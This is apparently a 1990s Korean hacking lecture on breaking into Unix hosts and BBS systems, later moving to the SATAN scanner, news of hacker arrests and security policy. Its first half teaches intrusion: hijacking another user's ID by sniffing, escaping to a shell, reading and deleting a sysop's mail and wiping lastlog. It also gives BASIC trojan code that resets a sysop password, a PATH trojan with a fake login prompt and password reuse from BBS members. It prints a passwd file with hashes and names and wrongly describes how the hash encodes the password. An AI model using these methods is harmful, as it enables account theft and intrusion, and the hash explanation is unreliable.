안녕하세요. 14번째 시간입니다. 유닉스/통신망 해킹에 대한 심화학습을 하겠습니다. 대개의 호스트는 유닉스를 사용합니다. 이때 핵심이랄지 할것이 바로 아이디 해킹일겁니다. 도스와 다른 유닉스의 특징이 바로 login 이죠. 자신의 아이디가 해킹 당했다면 큰일이죠. 그래서 패스워드를 어렵게 만드는 것이 중요합니다. 해커들이 해킹할때는 이 패스워드를 알아내거나 유닉스 시스템의 홀을 찾는 방법을 사용하는 것이죠. 다음 몇몇 호스트를 해킹하는 예를 들어보이겠습니다. 다음은 KIDS bbs를 해킹한 사례입니다. kids의 도메인 어드레스는 kids.kotel.co.kr 이다. 우선 telnet 로 kids에 접속한다. telnet도 하나의 접속 프로그램이라고 인터넷 강좌에서 이야기 하였다. 여기서 쓰는 telnet은 버그를 이용하여 접속한 것이다. 자신의 아이디로 접속하지 말고 패킷 가로채기를 이용한 다른 사람의 아이디를 사용한다. kids는 라우팅 메뉴에 홀이 있다. 내무실행모드로 되어있는 메뉴를 /bin/sh 으로 대치하고는 셀로 빠진다. 셀등에 대해서는 앞에서 설명했을줄 안다. 그리고 kids 디렉토리인 /mam/kids/etc 로 이동한다. 패스워드 화일이 5개나 있어서 구분하지 못하고, 그대신 /kids/usr ->mail directory 로 들어가 퍼미션이 kids인것을 확인하고 센터 운영자 시솝의 편지를 읽을수 있다. 대부분 신상명세에 대한 것이다. 다읽고 증거 인멸을 위해 모두 삭제한후 접속 흔적을 지우기 위해 응용어플리케이션으로 lastlog를 지우고 나와야 한다. 이상입니다. 다음은 푸른물 핵킹법 입니다. 푸른물이란 호스트를 사용한 비비에스일 경우 운영자의 아이디있죠? 운영자의 아이디야 쉽게 알수 있습니다. 가입할때 운영자아이디+공백으로 하시면 운영자가 올린 게시물과 자료를 몽땅 지울수 있지요, 물론 다른사람아이디도 가능하고요. 이것은 예전에 케텔시절에 통했던 것인데 푸른물 호스트에서도 가능하더군요. 주변에 푸른물 호스트를 사용하는 비비에스가 있다면 한번 테스트 해보시죠. 이것이 바로 홀 이라고 할 수 있을겁니다. 다음은 호롱불 호스트 해킹법이죠. 일종의 트로이 목마 바이러스라 할수 있죠. 반드시 시삽이 실행할 수 있게끔 미끼를 던지시기 바랍니다. 이것은 시삽 암호를 AAAAAAAA로 바꾸는것이죠. $COMPILE EXE SHELL "DIR C:\USER.V35 /S >HOSTKILL.$$$" OPEN "HOSTKILL.$$$" FOR INPUT AS #1 FOR BYTE=1 TO 5 INPUT #1, DAT$ NEXT BYTE CLOSE #1 KILL "HOSTKILL.$$$" OPEN MID$(DAT$,14)+"\USER.V35" FOR BINARY AS #1 FOR BYTE=1 TO LOF(1) SEEK 1, BYTE GET$ 1, 5, DAT$ IF DAT$="sysop" THEN EXIT FOR NEXT BYTE SEEK 1, BYTE+11 PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) PUT$ 1, CHR$(&H41) ENDPROG: END 유닉스 해킹에서 root의 권한을 가진 패스워드를 알아낸다면 그 시스템은 이제 자신의 것이 될것이다. 누구나 어떤 SYSTEM의 사용하게 되면 ID 와 PASSWORD를 가지게 될 것입니다 보통 해커들은 일반사용자의 아이디를 root의 자격을 얻어내기위한 발판으로 사용한다. 그래서 만약 일이 터졌을때 의심을 받게되니 관리를 잘해야한다 앞에 kids를 해킹할때도 사용한 방법이지만 절대 자신의 개인 아이디로 접속해서 해킹할려는 멍청한 짓을 말기를......... 일단은 전혀 모르는 타인의 아이디를 해킹해야 합니다. 방법은 여러가지가 있겠는데, 친구 어깨너머로 훔쳐보는 방법을 쓰거나 무작정 패스워드를 맞출때까지 두드리는 법등이 있을것이다. 이것말고 스크립트 화일을 이용한다거나 나우누리에서 쪽지 기능을 이용한 트로이목마 의 형태도 가능하다. 유닉스에서 이러한 예를 보자면, 먼저 다른유저들이 자주 들락거리는 길목에 한개의 작은 화일을 만들어둔다. 이는 스크립트 화일로써 사용자가 자주쓰는 vi,sed,..등의 프로그램명과 동일하게 만든다. 이렇게 하면 다른 사용자가 이 길목에서 vi를 무심코 실행하면 그 사용자의 의도와는 달리 처음 프로그램탐색 path인 현 디렉토리의 트로이 목마 스크립트 화일이 실행이 되는것이다. 마치 배치로 짠 트로이 목마와 유사한 것이다. 일반적으로 많이 사용되는것들이 화일을 지우고, "login :"화면을 그럴듯하게 보여주는 것이다. 그러면 사용자는 자신의 실수 또는 시스템의 이상이라고 착각을 하고 다시 자신의 유저이름과 패스워드를 입력을 하게 된다. 그러면 이 트로이 목마 프로그램은 그 정보를 특정 공개 디렉토리에 넣거나, 메일로 해커에게 날려보낸다. 나우누리에서는 이런류의 쪽지기능을 이용하여 해킹한 사례가 있기도 하다. 패스워드 해킹중 가장 확실한 방법을 소개하자면, 자신이 어떤 사설비비에스를 운영한다면 그 사설비비에스에 등록한 회원들의 아이디,비밀번호를 이용하는 방법이 있다. 이는 대개의 사람들이 귀찮아서 동일한 아이디,비밀번호를 사용하는데 착안한 것이다. 많은 숫자의 사람들이 동일한 것을 쓰기에 대형통신망등에서 가능하다. 이 방법과 유사한것으로 천리안,하이텔같은 통신망의 어떤 특정한 동호회 운영자 권한을 가진 사람이 자신에게 보낸 회원들의 신상명세 편지를 이용할 수 가 있다. 거기에는 이름,주소,생년월일,주민등록 등이 있는데 실제로 임의로 20명을 추출하여 테스트해본결과 생일로 한 사람이 2명이었으니 약 10% 의 사용자는 자신의 생일을 패스워드로 사용한다는 결론이 나왔다. 단 절대 악용하여서는 안될것이다. ID와 같은 PASSWORD , 주민등록번호, 학번,전화번호, 생일,군번 ,영사전에 나오는 단어 등은 패스워드로 사용하는것을 자제하기 바란다. 다음은 유닉스 시스템의 암호에 관한것이다. UNIX SYSTEM은 각사용자들의 PASSWORD및 기타 정보를 /etc/passwd에 보관하고 있다. 여기를 vi나 cat로 한번 보면...... cat passwd root:xWcJu5UZ6JLx6,2.gI:0:1:Operator:/:/bin/csh nobody:*:65534:65534::/: daemon:*:1:1::/: sys:*::3::/:/bin/csh bin:*:3:3::/bin: uucp:*:4:8::/var/spool/uucppublic: news:*:6:6::/var/spool/news:/bin/csh usenet:*:5:5::/var/spool/news:/bin/csh ingres:*:7:7::/usr/ingres:/bin/csh audit:*:9:9::/etc/security/audit:/bin/csh sync::1:1::/:/bin/sync sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag gslee:4iGHcJKiJe6n6,2.iI:213:1003:GueeSang Lee:/home/gslee:/bin/csh jsbaek:rXuPAiBz03JH6,2.hI:215:1005:JeongSeon Baek:/home/jsbaek:/bin/csh mokpo:YwvoRt9nkUBPM,2.hI:221:1010:Mokpo National University:/home/mokpo:/bin/csh hschoi:osui5p1oOAfOo,2.:226:1010:HanSeok Choi (MNUCC):/home/hschoi:/bin/csh edu:.1k6TgOB2i.GY,2.dI:227:1001:Education Part in CNUCC:/home/edu:/bin/csh cjj:baNQP96Gh7HSU,2.hI:101:1502:junjoo cho:/home/cjj:/bin/csh chonnam% 위의것은 사례로서 전남대 교육전산망 chonnam의 passwd file의 일부이다. 실제 이렇게 길지 않고 내용이 다를수있다. 여기에서 hschoi:osui5p1oOAfOo,2.:226:1010:HanSeok Choi (MNUCC):/home/hschoi [1] [2] [3] [4] [5] [6] :/bin/csh [7] 위와 같이 7개의 field로 나뉜다. 1.field 사용자이름 - hschoi 2.field 사용자의 password 보통 안보여주거나 암호화 - osui5p1oOAfOo,2 3 field 사용자의 id number - 226 4. 사용자가 속해있는 그룹 아이디 number - 1010 5. 실제 사용자이름[id가 아님] - HanSeok Choi (MNUCC) 6. 사용자의 홈 디렉토리 - /home/hschoi 7. 사용자가 사용하는 shell - /home/hschoi:/bin/csh 여기서 관심을 가질부분이 2번째 단계이다. osui5p1o0Af0o,2로 암호화된 부분의 앞 두글자는 원래글자의 끝 단어의 두글자 그러니 ***********os 로 나갈것이다. 그런데 실제 암호와는 틀린 이상한 문자일것이다. 이는 des 기법을 쓴 암호화이다. 처음에 필자가 이것을 보았을때 한번 지워본적이 있었다. 순진한 생각에 암호가 없어질줄 알았지만 웬걸~~ 시스템을 날려버려야 했다. 왜냐고? root로 들어갈수 없었거든~~ 흐흐. 다른 슈퍼유저 권한의 아이디도 만들어놓은 상태가 아니어서.......... 그리고 크랙이라는 프로그램이 있다. 이것은 사용자들이 만들만한 password 사전을 내장하여 이 것을 가지고 /etc/passwd 화일을 불러들여 내장 사전의 단어들을 하나씩 암호화 시켜 대조 한다는 것이다. 좀 보기에는 무식한 방법같으나 그 효과 가 탁월해서 SYSTEM관리자들이 다른 알고리즘 또는 crypt(3)의 매개변수 일 부를 변화시켜 사용하면 crack 같은 패스워드 추측 프로그램은 실패된다.. 이외에 cops도 있다. 다음시간에 자세히 다루겠다. 실제 이런 류의 유닉스 시스템을 접해보고자 한다면 지금 당장 대형통신망의 자료실에서 "미니 리눅스"라는것을 다운받기 바란다. 미니 리눅스는 도스에서도 완벽히 작동하는 유닉스 운영체제로서 자신이 설치하고 root권한을 갖게 되므로 얼마든지 뜯어볼수 있기 때문이다. 연습용으로 아주 아주 적당한 것이다. 다음은 네트워크 해킹 프로그램 "SATAN" 에 대한 소개를 하겠습니다. `사탄'은 전화회선이나 인테네트등과 같은 통신망에 의해 외부세계에 연결돼 있는 컴퓨터의 "치명적인 약점"을 찾아내기위해 고안된 새로운 소프트웨어로, `통신망 분석을 위한 보안 실무자 들의 자료'의 약어이다. `사탄'은 경영자들이 보안상의 허점을 봉쇄, 비인가자들이 컴퓨터에 무단침입해 값진 정보들을 훔 치거나 엉망으로 만드는 사태를 사전에차단할 수 있다. 그러나 악의적인 해커(컴퓨터 침입자)들에게도 방어망의 취약 부분을 드러냄으로 써 집중적인 공격을 받을 수있는 약점도 아울러 지니고있어 큰 문제로 지적되고 있다. 이미 한 소프트웨어 설계자의 일자리를 빼앗은 `사탄'은 마침내 5일 인터네트로 연결된 전세계 의 상당수 컴퓨터에 출현, 컴퓨터 업계를 긴장시켰다. `사탄'을 설계한 댄 파머등은 해커들이 악용할 수 있다는 우려에 도 불구, 이를 세상에 선보이게 됐다면서 "악용사례에 관한한 컴퓨터 업계도 보안능력을 향상시키 기위해 더 낳은 결정을 내 릴 수있는 만큼 실질적인 악용사례는 감소할 것으로 생각된다"고 말했다. 파머는 당초 지난 1일 `사탄'을 선보일 계획이었으나 이날이 토요일인 관계로 자신의 33회 생일 인 5일 세상에 등장시켰다고 소개했다. 이날 `사탄'의 출현으로 정부기관들과 기업계는 헤커들의 침입에 대비한 조치들을 취하는등 대책 마련에 분주한 상태다. 샌프란시스코 부근 로렌스 리버모어 내셔널 연구소의 컴퓨터 보안 전문가들은 `사탄'의 공격을 컴퓨터 이용자들에게 알려주는 대응 프로그램을 개발, 발빠른 움직임을 과시했다. 그러나 일반가정의 컴퓨터 이용자들에게는 아무런 영향을 미치지 않으며, 또한 기밀정보를 보유 한 군컴퓨터도 그 영향권밖에 있어 위험성이 없다는게 전문가들의 일치된 견해다. 컴퓨터 소프트웨어 `사탄'이 5일 전세계의 상 당수 컴퓨터 통신망에 출현, 비밀유지등 보안문제에 큰 혼란을 불러일으킬지 모른다는 우려를 낳고 있다. 세계 기업과 관공서등 컴퓨터 네트워크를 사용하는 기관들의 보안에 비상이 걸렸다. 컴퓨터 네트워크의 약점을 간단히 알아낼 수 있는 소프트웨어 '사탄'이 5일 (한국시간 6일) 인터넷을 통해 전세계에 공개되기 때문이다. 'Security Administrator Tool for Analyzing Networks'의 약자인 '사탄' (SATAN) 은 실리콘밸리의 컴퓨터전문가 몇명이 공동 개발한 소프트웨어로 네트워크에 소속된 컴퓨터가 소프트웨어로 네트워크에 소속된 컴퓨터가 아닌 외부라인을 통해 해커와 똑같은 방식으로 시스템에 침칩, 보안상의 약점을 찾아낼 수 있도록 프로그래밍돼 있다. '네트워크 분석용 보안관리방법 '이라는 명칭이 의미하듯 해커들에게 노출될 수 있는 약점을 사 전에 발견, 이에 대한 보완조치를 하도록 해주는 유익한 소프트웨어라는 것이 '사탄'을 만들어낸 사람들의 주장이다. '사탄'은 또 그래픽모드로 돼 있어 누구나 마우스를 사용해 쉽게 사용할 수 있다는 점이 기존의 보안검색프로그램들에 비해 뛰어난 장점으로 평가되고 있다. 개발자 가운데 한사람으로 지난달까지 캘리포니아주에 있는 실리콘그래픽사에서 컴퓨터 보안담당 전문가로 일해온 앤 파머씨는 '사탄은 모든 보안상의 약점을 일일이 점검해볼 시간이 없는 관리자들에게 획기적인 프로그램'이라며 이를 인터넷을 통해 5일 공개하겠다고 공언해왔다. 그러나 많은 전문가들은 이 프로그램이 오히려 '사탄'이라는 약자에 걸맞는 무시무시한 결과를 낳을 것으로 우려하고 있다. 예정대로 이 프로그램이 인터넷에 공개돼 누구나 공짜로 전송받게되면 전세계의 모든 네트워크가 해커의 공격에 무방비상태가 되는 것이나 마찬가지라는 우려다. 네트워크 관리자들이 '사탄'을 사용해 약점을 발견, 이를 보완하기 전에 해커가 먼저 이를 사용해 약점을 알아낸다면 간단히 시스템을 파괴할 수 있게 되기 때문이다. 그러나 우려의 목소리만 있는 것은 아니다. 트러스티드 인포메이션 시스템사에서 인터넷 보안을 연구하고 있는 마커스 래넘씨는 '위험은 항상 존재하는 것'이라며 '사탄은 네트워크를 직접 운영하는 사람들에게는 크게 도움이 될 것'이라고 말했다. '사탄'과 같은 프로그램은 공개를 제한해야 한다는 회사측 입장과 마찰을 빚어 회사를 그만두기까지 한 댄 파머씨도 '유익한 프로그램을 공유하는 것은 가치있고 긍정적인 일'이라며 한술 더 떠 '현재의 사탄을 더욱 개량, 약점을 발견하는데 그치지 않고 실제로 침투까지 해보이는 개정판도 곧 공개할 계획'이라고 밝혔다. 다음은 사탄(SATAN) 을 구할 수 있는곳입니다. 사탄이 있는 FTP 사이트의 도메인 이죠. 인터넷을 통해 이곳으로 접속하면 쉽게 DOWN 받을수 있을수 있습니다. 국내 통신망에도 꽤 여러곳에 올라왔으나 이곳들은 이외에도 여러 유용한 것들이 많으니 한번쯤 접속해보기 바랍니다. ftp://ftp.mcs.anl.gov/pub/security ftp://coast.cs.purdue.edu/pub/tools/unix/satan ftp://vixen.cso.uiuc.edu/security/satan-1.0.tar.Z ftp://ftp.denet.dk/pub/security/tools/satan/satan-1.0.tar.Z http://ftp.luth.se/pub/unix/security/satan-1.0.tar.Z ftp://ftp.luth.se/pub/unix/security/satan-1.0.tar.Z ftp://ftp.dstc.edu.au:/pub/security/satan/satan-1.0.tar.Z ftp://ftp.acsu.buffalo.edu/pub/security/satan-1.0.tar.Z ftp://ftp.acsu.buffalo.edu/pub/security/satan-1.0.tar.gz ftp://ftp.net.ohio-state.edu/pub/security/satan/satan-1.0.tar.Z ftp://ftp.cerf.net/pub/software/unix/security/ ftp://coombs.anu.edu.au/pub/security/satan/ ftp://ftp.wi.leidenuniv.nl/pub/security ftp://ftp.cs.ruu.nl/pub/SECURITY/satan-1.0.tar.Z ftp://ftp.cert.dfn.de/pub/tools/net/satan/satan-1.0.tar.Z ftp://cnit.nsk.su/pub/unix/security/satan ftp://ftp.csi.forth.gr/pub/security/satan-1.0.tar.Z ftp://ftp.auscert.org.au/pub/mirrors/ftp.win.tue.nl/satan-1.0.tar.Z ftp://ftp.informatik.uni-kiel.de/pub/sources/security/MIRROR.ftp.win.tue.nl ftp://ftp.kulnet.kuleuven.ac.be/pub/mirror/ftp.win.tue.nl/security/ ftp://ftp.tisl.ukans.edu/pub/security/satan-1.0.tar.Z ftp://ftp.ox.ac.uk/pub/comp/security/software/satan/satan-1.0.tar.Z 다음은 사탄(SATAN) 인스톨 방법입니다. 사탄 프로그램을 깔기 위해 필요한 환경으로는 하드웨어적인 환경과 인스톨을 위해 요한 프로그램으로 나눌수 있다. 하드웨어적인 환경은 0MByte의 하드 디스크( 사탄 프로그램 자체는 약 2MB정도임) 와 Memory( 메모리)는 스캔하고자 하는 시스팀의 수에 따라서 필요한 메모리 용량이 달라진다. 만약 사탄으로 어떤 서브 네트에 있는 모든 시스팀을 스캔하고자 할때는 엄청나게 많은 메모리를 필요로 한다. readme에 의하면 1500 시스팀을 스캔하는데 14MB정도가 필요하다고 한다. Platform 으로는 SunSPARC 또는 Indigo 2 를 들수있겠다. 소프트웨어적인 환경 으로는 OS는 SunSPARC에서는 Sunos4.1.3_U1, Sunos5.3이 필요하고 Indigo에서는 Irix5.3이 필요하다. 그리고 사탄을 인스톨할 때 필요한 프로그램은 - PERL5.0이상 - Mosaic2.5 이상 또는 Netscape1.0이상 이 필요하다. PERL 5.000 은 일종의 프로그래밍 언어로서 유연성을 가진다. PERL 5.000이 있는곳은, Location: /.a/aid/disk2/src DIRECTORY drwxrwxr-x 4096 Dec 21 17:09 perl5.000 Host ftp.cdrom.com Location: /.21/perl/doc/formatted DIRECTORY drwxrwxr-x 512 Jan 14 00:50 perl5.000 Location: /.21/perl/doc/unformatted FILE -rwxrwxr-x 27 Jan 12 02:01 perl5.000 Location: /.21/perl/perlsrc DIRECTORY drwxrwxr-x 2048 Jan 12 02:22 perl5.000 Host hpsystem2.informatik.tu-muenchen.de Location: /pub/comp/gnu DIRECTORY dr-xr-xr-x 0 Oct 20 06:35 perl5.000 Host ftp.uni-kl.de Location: /pub1/packages/gnu DIRECTORY drwxr-xr-x 512 Dec 5 09:56 perl5.000 Host gundel.zdv.uni-mainz.de Location: /pub/gnu DIRECTORY drwxr-xr-x 512 Dec 6 01:16 perl5.000 Host ftp.physik.uni-muenchen.de Location: /a/tum1.leo.org/archive/isar/.mntpts/tum.info-pub1/pub/comp/gnu DIRECTORY drwxrwxr-x 1024 Oct 20 07:35 perl5.000 Host cair-archive.kaist.ac.kr Location: /.2/Lang/perl/doc/formatted DIRECTORY drwxr-xr-x 512 May 9 08:30 perl5.000 Location: /.2/Lang/perl/doc/unformatted FILE -rwxrwxrwx 27 May 9 08:30 perl5.000 Location: /.2/Lang/perl/perlsrc DIRECTORY drwxr-xr-x 2048 Mar 19 21:19 perl5.000 Host news.umu.se Location: /src DIRECTORY drwxr-xr-x 512 Dec 15 20:25 perl5.000 Location: /usr/perl5/sol2/bin FILE -rwxr-xr-x 466568 Dec 1 19:08 perl5.000 Location: /usr/perl5/sun4/bin FILE -rwxr-xr-x 507904 Dec 1 17:43 perl5.000 Location: /usrnew/sol2/bin FILE -rwxrwxrwx 28 Dec 2 05:18 perl5.000 Location: /usrnew/sun4/bin FILE -rwxrwxrwx 28 Dec 2 05:14 perl5.000 이다. 실제 인스톨 방법은, satan-1.0.tar.Z나 .gz를 받아와서 압축을 푼다음 %reconfig %make 를 하면 되는데 미리 perl과 www broswer가 인스톨되어 있어야 한다. mosaic이나 netscape의 path를 바꾸고자 할 때는 config/paths.pl에서 mosaic이나 netscape의 path를 바꾸어주면 된다. 실제로 사탄을 돌려서 몇몇 시스팀을 스캔해 본 결과 엄청나게 심각한 보안상의 문제가 있음을 발견하였다. 어떤 시스팀은 아예 무방비 상태로 super user들어 갈수 있는 곳도 있었다. 이와 관련된 것으로, 컴퓨터해커 추적 `CERT코리아'가 결성되었다. 세계 최대 통신망 인터네트와 연결된 국내 전산망을 컴퓨터 해커 로부터 보호하는 통신보안 전문가 그룹이 국내에서 처음으로 결성됐다. 국내 통신보안 전문가들로 구성된 한국인터네트 보안그룹은 최근 국내 해커 추적과 국제적인 해커에 대한 수사 전담 창구 역할을 담당할 `CERT(Computer Emergency Response Team) 코리아'를 결성한 데 이어 대 덕연구단지내 시스템공학연구소(SERI)에 사무국을 설치하고 오는6월부터 본격적인 활동에 들어가기로 했다고 27일 밝혔다. CERT 코리아는 이에따라 국내 학술.연구용 전산망의 보안사고 접 수및 처리, 해외 해킹사고의 국내협력 창구 역할을 맡게 된다. 또 해외 해킹사고를 분석, 그 내용을 국내 인터네트 가입 기관 및 국가기간전산망 관리자에게 알려 해커로부터 국내 전산망을 보호하는 일 도 담당한다. CERT 코리아는 이를 위해 전문가그룹과 전산망지원 그룹으로 하부 조직을 구성하고 전자서비스 지원체계를 구축하는 한편 보안지침서및 보 안도구를 개발하고 방화벽 시스템을 구성, 전자우편.폰북.컨설팅 서비스 를 인터네트 가입자에게 제공할 방침이다. 다음 몇가지 해킹관련 이야기를 소개하겠다. 라디오방송국 공개 퀴즈프로그램 도중 컴퓨터를 이용해 자신이 지 정한 사람만이 통화할 수 있도록 방송국으로 연결되는 전화선을 차단 해상품과 상금을 챙긴 컴퓨터 해커가 징역 4년에 5만8천달러의 벌금형 을 선고받았다. 전직 국방부 안보고문인 케빈 리 폴슨(29)은 지난 89년 KIIS-FM과 KPWR-FM, KRTH-FM 방송국의 공개퀴즈 프로그램 도중 컴퓨터를 이용해 외부전화를 모두차단, 자신과 자신의 친구,친척들만 통화할 수 있도록 하는 부정한 방법으로 포르셰자동차와 2차례의 하와이 여행권, 현금 2만2천달러 등의 경품을 불법으로 가로챘다는 것이다. 미국내 컴퓨터 해커중 가장 강력한 제재를 받게 된 폴슨은 이밖에 도 전시에 적국으로부터 공격을 받을 수 있는 구조물의 이름과 위치가 적힌 미공군의 비밀서류를 불법으로 빼낸 혐의도 함께 받고 있다. 이쯤되면 대단하죠? 다음은 한동안 떠들썩했던 해커 미트닉에 대한 기사죠. "세계적으로 지명 수배됐던 컴퓨터 해커"의 체포는 미국 캘리 포 니아주에 사는 한 일본 출신의 컴퓨터 전문가가 미연방수사국(FBI) 요원 들을 결정적으로 도운 덕분이라고 경찰 관계자가 16일 밝혔다. 수사관들은 시모무라 쓰토무(30) 라는 일 컴퓨터 전문가의 도움 으로 15일 아침 미노스 캐롤라이나주 롤리에 있는 해커 용의자 케빈 미트 닉(31)의 아파트를 찾아낸 것으로 알려졌다. 시모무라씨는 샌디에고 수퍼 컴퓨터센터에서 근무하던 중 지난해 12월 자신의 컴퓨터에 해커가 침입해 시스템을 엉망으로 만들어 놓은 것 을 알게된 뒤, 범인을 추적해왔다. 시모무라씨는 그동안 이 해커 용의자가 동료 컴퓨터 전문가들 및 전화기록 등의 도움으로 주기적으로 전세계 인터네트망에 침입했음을 밝 혀냈으며 수사관들은 무선 주파수 방향탐지기 안테나를 사용해 범인의 소 재지 범위를 축소시키는 작업을 벌여왔다. 미트닉은 지난 82년 미공군사령부 컴퓨터에 침입한 것을 비롯해 수 차례 미군용 컴퓨터 등에 잠입해 2년동안 수배를 받아왔다. 그는 이날 체포됨에 따라 수천건의 자료 파일과 최소한 2만개의 신용카드번호 등을 훔쳐 사용한 혐의등으로 기소됐다. 샌프란시스코의 한 변호사는 뉴욕타임스와의 회견에서 "미트닉은 전세계적으로 지명 수배를 받아온 인물"이라고 말하고 "그는 이미 무역 회사의 컴퓨터에도 침입해 수십억달러에 달하는 무역 관련 자료도 유출시 킨 바 있다"고 말했다. 수사당국은 그의 최대 실수는 컴퓨터 보안전문가들까지 목표물로 삼음으로써 결국 보안전문가들의 화를 돋구어 그를 꼭 잡겠다는 마음을 먹도록 만든 것이었다고 말했다. FBI는 컴퓨터 보안전문가들의 도움을 얻어 노스캐롤라이나주 롤 리에 있는 그의 아파트까지 추적해 붙잡는데 성공했다. 미트닉은 유죄가 인정될 경우 최고 징역형을 20년까지 받을 수 있는데 이미 캘리포니아에서도 컴퓨터 불법침입혐의로 그를 수배해 놓고 있는 상태다. 그는 지난 92년이후 도망자로 생활해오면서 미국의 수많은 전화 망에 침투한 것을 비롯해 각종 컴퓨터 범죄를 저질러왔으며 가장 최근에 는 인터네트 컴퓨터망에 침입한 혐의를 받고 있다. 미법무부의 한 대변인 은 그를 "컴퓨터 테러리스트"라고 말했다. 미국방부 컴퓨터는 해커들의 좋은 표적이 되고있다. 영국의 16세 소년이 국방부 연구소 데이터 뱅크에 접근해,미사일 탄두,전투기 계획,장비,급료,인사 관리 내용,그리고 북한핵 위기가 최고조에 달했을 당시 대북한 정보요원들의 통신자료 등을 빼 냈다고 전했다. 미국방부는 지난 여름 정체불명의 해커가 7개월 동안 인터네트 에 접속된 군사정보 네트워크인 '밀네트'를 통해 국방부의 데이터뱅크의 정보를 빼갔다고 시인한 바 있다. 미국방부는 국방부의 데이터가 이 해커에 의해 대체되고 삭제되거나 혹은 도난당했다고 밝혔다. 우리나라 해커들중에도 이정도 실력을 갖춘 사람들이 있을지언데 잠잠하니........ 컴퓨터를 이용한 예금도둑, 기밀정보 절취, 신상기록 밀거래, 해킹등 첨단범죄가 잇따르고 있다. 컴퓨터가 본격적으로 보급되기 시작한 지난 80년이후 94년 상반기까 지 우리나라 금융기관및 공공기관에서 발생한 각종 컴퓨터범죄는 79건에 이르고 있 다. 올들어서도 홈뱅킹서비스를 이용, 남의 계좌에서 돈을 불법인출한 사건과 회사 전산망에 입력된 고객들의 개인신상정보를 돈을 받고 유출시킨 사건이 발생했다. 컴퓨터범죄는 종래의 전통적 범죄와는 구별되는 새 유형의 범죄이다. 또 그 폐해 가 엄청나게 크고 광범위하게 영향을 미칠 수 있으며 범죄의 발견이 어렵다. 이같은 컴퓨터범죄는 정보화의 진전에 따라 더욱 자주 발생하고 수법도 다양화 지능화할 것이다. 해커들과 연계된 범죄조직들이 금융 보험 증권사의 컴퓨터망을 노릴 수도 있다. 정부나 공공기관의 주요 전산망에 해커가 침입, 기밀을 빼내거나 입력자료를 파괴 교란시킬 경우 국가적 위기상황까지 초래할 가능성이 있다. 컴퓨터범죄에 대한 대책은 더 이상 미룰 수가 없다. 관리체계및 기술상의 보안대 책은 물론이고 법과 제도의 정비를 서둘러야 한다. 고도의 전문기술범죄인 컴퓨터범 죄에 대한 전문수사요원의 확보, 수사기술의 개발, 수사체제의 정립도 시급하다. 국내에서는 국방망, 공안망은 독립망이고 독립망은 아니지만 X.25프로토콜로 구성된 금융망의 경우 해커침입이 소프트적으론 불가능하지만 이번에 해킹을 당한 교육 연구망만은 유일하게 TCP/IP프로토콜을 채택하고 있어 해커들의 온상지가 되고 있다. 금융망은 아직 해킹을 당한 사례가 없고 국방망, 공안망은 폐쇄사용자를 지원하는 독립망으로 구성돼 안전성에 관한한 문제가 없다고 일부에서는 주장하고 있다. 일반적으로 해커는 망을 연결하는 단자의 중간부분에 언제든지 접속해 해킹하는 등 점점 그 수 법이 다양해지고 있다. 특히 금융망의 경우는 X.25프로토콜에 대한 해킹사례가 없을 뿐이지 결코 안전한 시스팀은 아니 며 대형금융사고도 언제든지 일어날 수있다. 국내전산망자체가 교육 연구망을 제외하고는 아직은 인터넷 TCP/IP 프로토콜보다는 X.25프로토콜을 채용 또는 독립망으로 구성돼 있는 점 등으로 일단은 안전하고 평가하고 있다. 전산망 시큐리티 보강을 위해서는 네트웍 환경에서 암호키와 복구키를 비교 검증하는 데이터 인증과 무결성이 보장돼야 하며, 퍼블릭키를 사용한 키값의 암호화로 전산망 보안대책을 강구해야할것이다. 퍼블릭키란 암호키와 복구키 등 2쌍의 키를 사용해 데이터 안정성과 보안성을 효율적으로 높이수 있는 방법으로, 암호화하는 데 시간과 비용은 많이 든다는 단점이 있지만 한개의 키를 사용하는 것보다 보안성이 뛰어난 장점이 있다. 정교수는 향후 네트웍 환경은 랜 대 랜으로 갈 것이며, 이에따른 전산망 보안대책으로는 랜 방호벽 설치로 외부에서 접속해 오는 인바운드 보안 뿐만 아니라, 내부 자료가 외부로 유출되는 아웃바운드 보안까지도 신경을 써야 한다. 국가기간 전산망을 비롯, 주요기관에 설치된 컴퓨터는 나름대로의 보안장치를 마 련해 놓고 있기는 하지만 해킹수법 또한 날로 고도화, 완벽한 차단에는 어려움이 있 는 것이 사실이다. 그러나 우선 주요 시스템에 대해 다중암호체계를 도입 운용하며 기밀사항은 전산망에서 격리시키고 보안전담기구를 두어 감시활동을 강화해야 한다. 장기적으로는 미국의 컴퓨터위기대응팀과 같은 컴퓨터안전대책기구의 설치등이 추 진되어야 한다. 미국연방정부의 지원으로 운영되는 컴퓨터위기대응팀은 보안침해 사례의 접수및 대응책의 전수, 보안관련 정보및 소프트웨어등의 배포, 다른 기관 조직과의 연계체 제 구축과 정보수집, 보안관련 전문가 양성등의 역할을 수행하고 있다. 현행 법체계의 보완 정비도 필요하다. 형법에 컴퓨터사기 컴퓨터스파이 컴퓨터부 정사용죄등의 신설은 물론 업무방해죄와 문서에 관한 죄, 비밀침해죄등도 손질해야 한다. 다음시간에 사탄,크랙,캅스 등에 대해 더 다뤄보겠다.